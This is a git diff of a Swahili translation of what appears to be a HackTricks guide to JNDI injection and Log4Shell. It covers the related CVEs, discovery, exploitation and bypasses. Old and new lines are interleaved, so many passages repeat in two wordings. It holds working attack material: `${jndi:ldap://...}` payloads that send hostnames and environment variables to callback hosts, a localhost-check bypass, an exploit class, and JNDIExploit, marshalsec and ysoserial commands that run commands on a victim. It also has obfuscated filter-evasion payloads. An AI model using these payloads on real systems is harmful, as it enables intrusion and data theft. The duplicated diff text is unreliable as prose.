* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa default kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.
|
||||
* **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
|
||||
|
||||
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, na inaweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuzia, na kusababisha upakiaji wa vitu vya Java vya kiholela au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.
|
||||
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, na inaweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuzia, na kusababisha upakiaji wa vitu vya Java vya kawaida au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.
|
||||
|
||||
Mifano ya URLs zinazoweza kutumika vibaya ni pamoja na:
|
||||
|
||||
|
|
@ -54,11 +46,11 @@ Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa kinga dhidi ya up
|
|||
|
||||
.png>)
|
||||
|
||||
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuashiria nyingine katika utafutaji na itapatikana: `ctx.lookup("<attacker-controlled-url>")` na hiyo ndiyo itakayotumiwa na mshambuliaji kupakia vitu vya kiholela kutoka mfumo unaodhibitiwa na yeye.
|
||||
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuashiria nyingine katika utafutaji na itapatikana: `ctx.lookup("<attacker-controlled-url>")` na hiyo ndiyo itakayotumiwa na mshambuliaji kupakia vitu vya kawaida kutoka mfumo unaodhibitiwa na yeye.
|
||||
|
||||
### CORBA Overview
|
||||
|
||||
CORBA (Common Object Request Broker Architecture) inatumia **Interoperable Object Reference (IOR)** kutambulisha kwa kipekee vitu vya mbali. Rejeleo hili lina habari muhimu kama:
|
||||
CORBA (Common Object Request Broker Architecture) inatumia **Interoperable Object Reference (IOR)** kutambulisha kwa kipekee vitu vya mbali. Kurejelea hii kunajumuisha taarifa muhimu kama:
|
||||
|
||||
* **Type ID**: Kitambulisho cha kipekee kwa interface.
|
||||
* **Codebase**: URL ya kupata darasa la stub.
|
||||
|
|
@ -67,25 +59,25 @@ Kwa hakika, CORBA sio hatari kwa asili. Kuhakikisha usalama kawaida kunahusisha:
|
|||
|
||||
* Usakinishaji wa **Meneja wa Usalama**.
|
||||
* Kuunda Meneja wa Usalama ili kuruhusu muunganisho kwa vyanzo vya msimbo vinavyoweza kuwa na madhara. Hii inaweza kufanywa kupitia:
|
||||
* Ruhusa ya Socket, mfano, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Ruhusa ya socket, mfano, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) au kwa saraka maalum ambapo faili mbaya zinaweza kuwekwa.
|
||||
|
||||
Hata hivyo, sera za wauzaji wengine zinaweza kuwa na huruma na kuruhusu muunganisho haya kwa default.
|
||||
Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa default.
|
||||
|
||||
### RMI Context
|
||||
|
||||
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa la kiholela umewekwa mipaka kwa default. Ili kutumia RMI, mtu angehitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
|
||||
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa la kawaida umewekwa mipaka kwa default. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
|
||||
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
||||
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` ili kupata kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
||||
**Utafutaji** unakusudia **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
|
||||
|
||||
Ikiwa utafutaji wa LDAP ulitolewa kwa **SearchControls.setReturningObjFlag() na `true`, basi kitu kilichorejeshwa kitajengwa upya**.
|
||||
Ikiwa utafutaji wa LDAP ulianzishwa na **SearchControls.setReturningObjFlag() na `true`, basi kitu kilichorejeshwa kitajengwa upya**.
|
||||
|
||||
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\
|
||||
**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ingekuwa kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
||||
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
|
||||
**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii vibaya ingekuwa kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
|
||||
|
||||
Ikiwa unaweza **kufanya programu kutatua JNDI LDAP URL**, unaweza kudhibiti LDAP ambayo itatafutwa, na unaweza kutuma nyuma exploit (log4shell).
|
||||
|
||||
|
|
@ -93,7 +85,7 @@ Ikiwa unaweza **kufanya programu kutatua JNDI LDAP URL**, unaweza kudhibiti LDAP
|
|||
|
||||
.png>)
|
||||
|
||||
**exploit imeandikwa** na itakaguliwa.\
|
||||
**Exploit imeandikwa** na itakaguliwa.\
|
||||
Ikiwa `trustURLCodebase` ni `true`, mshambuliaji anaweza kutoa madarasa yake mwenyewe katika codebase ikiwa sivyo, atahitaji kutumia gadgets katika classpath.
|
||||
|
||||
#### JNDI Reference exploit
|
||||
|
|
@ -108,27 +100,27 @@ Udhaifu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https
|
|||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya default haitumiki.
|
||||
|
||||
Ikiwa **: inapatikana** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.
|
||||
Ikiwa **: ipo** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.
|
||||
|
||||
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo hatari la Log4j linaloshughulikia habari inayodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi habari (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu habari za HTTP bali pia pembejeo yoyote** na data ambayo mendelezi alionyesha.
|
||||
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo hatari la Log4j linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia input yoyote** na data ambayo mendelevu alionyesha.
|
||||
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
|
||||
|
||||
Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kuanzia 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
Udhaifu huu ni kasoro ya **deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||||
|
||||
Kwanza ilikadiriawa kuwa ya chini lakini baadaye ikapandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default.
|
||||
Kwanza ilikadiriawa kuwa ya chini lakini baadaye ilipandishwa kuwa hatari, CVE hii ni kasoro ya **Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha shambulio la DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||
|
||||
Inayoathiri **matoleo ya Log4j 1.x** katika usanidi usio wa default ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.
|
||||
Inayoathiri **Log4j 1.x versions** katika usanidi usio wa default ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||||
|
||||
Udhaifu huu unaathiri **mfumo wa kurekodi wa Logback**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huu ulipatikana kuwa na udhaifu, na matoleo mapya (1.3.0-alpha11 na 1.2.9) yameachiliwa ili kushughulikia tatizo hili.
|
||||
Udhaifu huu unaathiri **Logback logging framework**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huu uligundulika kuwa na udhaifu, na toleo jipya (1.3.0-alpha11 na 1.2.9) zimeachiliwa ili kushughulikia tatizo hili.
|
||||
|
||||
### **CVE-2021-45105** **\[High]**
|
||||
|
||||
|
|
@ -136,13 +128,13 @@ Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurek
|
|||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha uwezekano wa utekelezaji wa msimbo wa kiholela kupitia JDBCAppender iliyowekwa. Maelezo zaidi yanapatikana katika [blogi ya Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha uwezekano wa utekelezaji wa msimbo wa kawaida kupitia JDBCAppender iliyowekwa. Maelezo zaidi yanapatikana katika [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Log4Shell Exploitation
|
||||
|
||||
### Discovery
|
||||
|
||||
Udhaifu huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu itatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
|
||||
Udhaifu huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu utatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (ukitumia [canarytokens.com](https://canarytokens.org/generate))
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (ukitumia [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
|
|
@ -150,22 +142,22 @@ Udhaifu huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu itatuma angala
|
|||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (ukitumia [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ukitumia (ukitumia [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Kumbuka kuwa **hata kama ombi la DNS linapokelewa hiyo haimaanishi kuwa programu inaweza kutumika vibaya** (au hata kuwa na udhaifu), utahitaji kujaribu kuishambulia.
|
||||
Kumbuka kuwa **hata kama ombio la DNS linapokelewa hiyo haimaanishi programu hiyo inaweza kutumika vibaya** (au hata kuwa na udhaifu), utahitaji kujaribu kuishambulia.
|
||||
|
||||
{% hint style="info" %}
|
||||
Kumbuka kuwa ili **ku exploit toleo 2.15** unahitaji kuongeza **bypass ya ukaguzi wa localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **Local Discovery**
|
||||
|
||||
Tafuta **matoleo ya ndani yenye udhaifu** ya maktaba kwa:
|
||||
Search for **local vulnerable versions** of the library with:
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
### **Uthibitisho**
|
||||
|
||||
Baadhi ya majukwaa yaliyoorodheshwa hapo awali yatakuruhusu kuingiza baadhi ya data za mabadiliko ambazo zitaandikwa wakati zinapohitajika.\
|
||||
Hii inaweza kuwa muhimu sana kwa mambo mawili:
|
||||
Hii inaweza kuwa muhimu sana kwa mambo 2:
|
||||
|
||||
* Ili **kuhakiki** udhaifu
|
||||
* Ili **kuondoa taarifa** kwa kutumia udhaifu
|
||||
|
|
@ -227,11 +219,11 @@ Any other env variable name that could store sensitive information
|
|||
### RCE Information
|
||||
|
||||
{% hint style="info" %}
|
||||
Mikondo inayotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 imehifadhiwa dhidi ya shambulio la kupakia darasa la LDAP. Hii ni kutokana na kuzima kwa chaguo-msingi `com.sun.jndi.ldap.object.trustURLCodebase`, ambayo inazuia JNDI kupakia msingi wa msimbo wa mbali kupitia LDAP. Hata hivyo, ni muhimu kutambua kwamba toleo hizi **hazihifadhiwi dhidi ya shambulio la deserialization**.
|
||||
Mikondo inayotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 imehifadhiwa dhidi ya shambulio la kupakia darasa la LDAP. Hii ni kutokana na kuzima kwa chaguo la `com.sun.jndi.ldap.object.trustURLCodebase`, ambalo linazuia JNDI kupakia msingi wa msimbo wa mbali kupitia LDAP. Hata hivyo, ni muhimu kutambua kwamba toleo hizi **hazihifadhiwi dhidi ya shambulio la deserialization**.
|
||||
|
||||
Kwa washambuliaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **gadget iliyoaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumika kwa kusudi hili. Kinyume chake, kutumia toleo la chini la JDK ni rahisi zaidi kwani toleo hizi zinaweza kudhibitiwa ili kupakia na kutekeleza madarasa yasiyo na mipaka.
|
||||
Kwa washambuliaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **gadget iliyoaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumika kwa kusudi hili. Kinyume chake, kutumia toleo la chini la JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza madarasa yasiyo na mipaka.
|
||||
|
||||
Kwa **maelezo zaidi** (_kama vile vikwazo kwenye RMI na CORBA vectors_) **angalia sehemu ya awali ya JNDI Naming Reference** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
Kwa **maelezo zaidi** (_kama vile mipaka kwenye RMI na CORBA vectors_) **angalia sehemu ya awali ya JNDI Naming Reference** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec with custom payload
|
||||
|
|
@ -256,11 +248,11 @@ e.printStackTrace();
|
|||
```
|
||||
Kusanya faili la Java kuwa faili la darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha, anzisha **HTTP server** katika saraka inayoshikilia faili la darasa kwa kutumia: `python3 -m http.server`. Hakikisha **marshalsec LDAP server** inarejelea HTTP server hii.
|
||||
|
||||
Chochea utekelezaji wa darasa la exploit kwenye seva ya wavuti iliyo hatarini kwa kutuma mzigo unaofanana na:
|
||||
Chochea utekelezaji wa darasa la exploit kwenye seva ya wavuti iliyo hatarini kwa kutuma payload inayofanana na:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Kumbuka:** Huu uvamizi unategemea usanidi wa Java kuruhusu upakiaji wa msingi wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililoaminika kwa utekelezaji wa msimbo wa kiholela.
|
||||
**Kumbuka:** Ukatili huu unategemea usanidi wa Java kuruhusu upakiaji wa msingi wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililoaminika kwa utekelezaji wa msimbo wa kiholela.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
|
|
@ -270,7 +262,7 @@ Kumbuka kwamba kwa sababu fulani mwandishi aliondoa mradi huu kutoka github baad
|
|||
Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza.
|
||||
{% endhint %}
|
||||
|
||||
Kwa mfano huu unaweza tu kuendesha **seva ya wavuti iliyo hatarini kwa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuendesha_). Hii programu iliyo hatarini inarekodi kwa toleo hatarishi la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.
|
||||
Kwa mfano huu unaweza tu kukimbia **seva ya wavuti iliyo hatarini kwa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuikimbia_). Programu hii iliyo hatarini inarekodi kwa toleo hatarishi la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.
|
||||
|
||||
Kisha, unaweza kupakua faili ya **JNDIExploit** jar na kuitekeleza kwa:
|
||||
```bash
|
||||
|
|
@ -279,7 +271,7 @@ unzip JNDIExploit.v1.2.zip
|
|||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakielewa kile payload kinachohitajika kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit.\
|
||||
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yat **azalisha exploits**.
|
||||
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yatakuwa **yanazalisha exploits**.
|
||||
|
||||
Unaweza kuona exploits zote zinazopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya zile muhimu ni:
|
||||
```bash
|
||||
|
|
@ -312,15 +304,15 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Shambulio hili linalotumia kitu cha java kilichoundwa maalum litafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida ya darasa lililoaminika ili kutekeleza msimbo wa kiholela._
|
||||
_Shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida litafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutoka kwa darasa lililoaminika ili kutekeleza msimbo wa kiholela._
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kuzalisha **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kuunda **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuzalisha **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kiholela** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).
|
||||
Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kiholela** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).
|
||||
|
||||
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
|
||||
```bash
|
||||
|
|
@ -367,15 +359,15 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
## Post-Log4Shell Exploitation
|
||||
|
||||
Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) inafafanuliwa vizuri jinsi inavyoweza kuwa **inawezekana** **kudhulumu** baadhi ya vipengele vya **Log4J**.
|
||||
Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezwa vizuri jinsi inavyoweza kuwa **inawezekana** **kudhulumu** baadhi ya vipengele vya **Log4J**.
|
||||
|
||||
[**ukurasa wa usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:
|
||||
|
||||
> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutizi katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa default. Matafutizi ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
|
||||
> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
|
||||
|
||||
> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **ni maandiko pekee ya kutafuta katika usanidi yanayopanuliwa kwa kurudi nyuma**; katika matumizi mengine yoyote, tu kutafuta kiwango cha juu ndiko kunatatuliwa, na matafutizi yoyote ya ndani hayatatuliwa.
|
||||
> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **ni maandiko pekee ya kutafuta katika usanidi yanayopanuliwa kwa njia ya kurudiarudia**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linatatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwi.
|
||||
|
||||
Hii inamaanisha kwamba kwa default unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutizi ya kurudi nyuma** unahitaji kuwa na hizo zimewekwa.
|
||||
Hii ina maana kwamba kwa chaguo-msingi unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudiarudia** unahitaji kuwa na hizo zimewekwa.
|
||||
|
||||
Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml:
|
||||
```xml
|
||||
|
|
@ -386,12 +378,12 @@ Kwa mfano, katika hiyo CTF hii ilipangwa katika faili log4j2.xml:
|
|||
```
|
||||
### Env Lookups
|
||||
|
||||
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) mshambuliaji alidhibiti thamani ya `${sys:cmd}` na alihitaji kutoa bendera kutoka kwa mabadiliko ya mazingira.\
|
||||
